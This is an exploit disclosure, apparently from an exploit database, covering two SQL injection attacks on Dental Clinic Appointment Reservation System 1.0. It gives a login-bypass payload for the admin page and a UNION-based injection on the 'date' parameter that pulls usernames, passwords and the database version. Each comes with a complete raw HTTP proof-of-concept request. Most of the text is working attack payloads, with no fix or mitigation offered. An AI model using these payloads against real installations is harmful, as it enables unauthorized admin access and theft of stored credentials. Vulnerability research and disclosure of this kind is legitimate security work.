Dental Clinic Appointment Reservation System 1.0 SQL Injection

`# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)  
# Date: 12.05.2021  
# Exploit Author: Mesut Cetin  
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code  
# Version: 1.0  
# Tested on: Ubuntu 18.04 TLS  
  
# Description:  
# Attacker can bypass admin login page due to unsanitized user input and access internal contents  
# vulnerable code in /admin/index.php, line 34:  
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";  
# payload: admin' or '1' = '1 -- -  
  
# Proof of concept:  
http://localhost/admin/index.php  
  
POST /admin/index.php HTTP/1.1  
Host: localhost  
Content-Length: 54  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://localhost/admin/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p  
dnt: 1  
sec-gpc: 1  
Connection: close  
  
username=admin'+or+'1'%3d1+--+-&password=test&submit=  
  
------  
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)  
# Date: 12.05.2021  
# Exploit Author: Mesut Cetin  
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code  
# Version: 1.0  
# Tested on: Ubuntu 18.04 TLS  
  
# Description:  
# the 'date' POST parameter is vulnerable to UNION-based SQL Injection  
# Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc.  
# payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- -  
  
# Proof of concept:  
http://localhost/admin/sort_date.php  
  
POST /admin/sort_date.php HTTP/1.1  
Host: localhost  
Content-Length: 84  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://localhost/admin/sort_date.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p  
dnt: 1  
sec-gpc: 1  
Connection: close  
  
date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=  
  
`